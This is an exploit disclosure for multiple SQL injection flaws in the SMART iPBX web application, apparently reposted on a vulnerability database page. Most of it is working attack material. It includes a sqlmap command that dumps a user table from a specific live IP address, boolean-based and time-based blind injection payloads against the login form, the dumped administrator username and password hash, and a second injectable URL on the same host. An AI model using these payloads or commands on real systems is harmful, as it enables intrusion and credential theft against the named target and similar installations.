Lucene search
K

SMART iPBX SQL Injection Vulnerability

🗓️ 20 May 2014 00:00:00Reported by AtT4CKxT3rR0r1STType 
zdt
 zdt
🔗 0day.today👁 28 Views

SMART iPBX SQL Injection Vulnerabilit

Code
SMART iPBX - Multiple Sql Injection
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [[email protected]] , [[email protected]]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://softmatica.com.do/softmatica/?p=216
####################################################################

Multiple Sql Injection
=======================
[1] Time-Based Blind Injection [POST]

sqlmap.py -u "http://190.6.141.106/login_validator.php"
--data="user=AXT&pass=AXT&login=Entrar" -p "user" --level=5 --risk=5 -D
asterisk -T user -C id,level,username,password --dump


Place: POST
Parameter: user
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: user=-AXT' OR (4281=4281)#&pass=AXT&login=Entrar

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query - comment)
    Payload: user=AXT' AND
5746=BENCHMARK(5000000,MD5(0x6f464d48))#&pass=AXT&login=Entrar
---
web server operating system: Linux CentOS 5.8
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5
Database: asterisk
Table: user
[1 entry]
+----+---------+----------+------------------------------------------+
| id | level   | username | password                                 |
+----+---------+----------+------------------------------------------+
| 1  | 9       | admin    | 21232f297a57a5a743894a0e4a801fc3         |
+----+---------+----------+------------------------------------------+



[2] Classic Sql injection

http://190.6.141.106/editarclave.php?accion=e&id=[SQL INJECTION]]&ld=1

#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation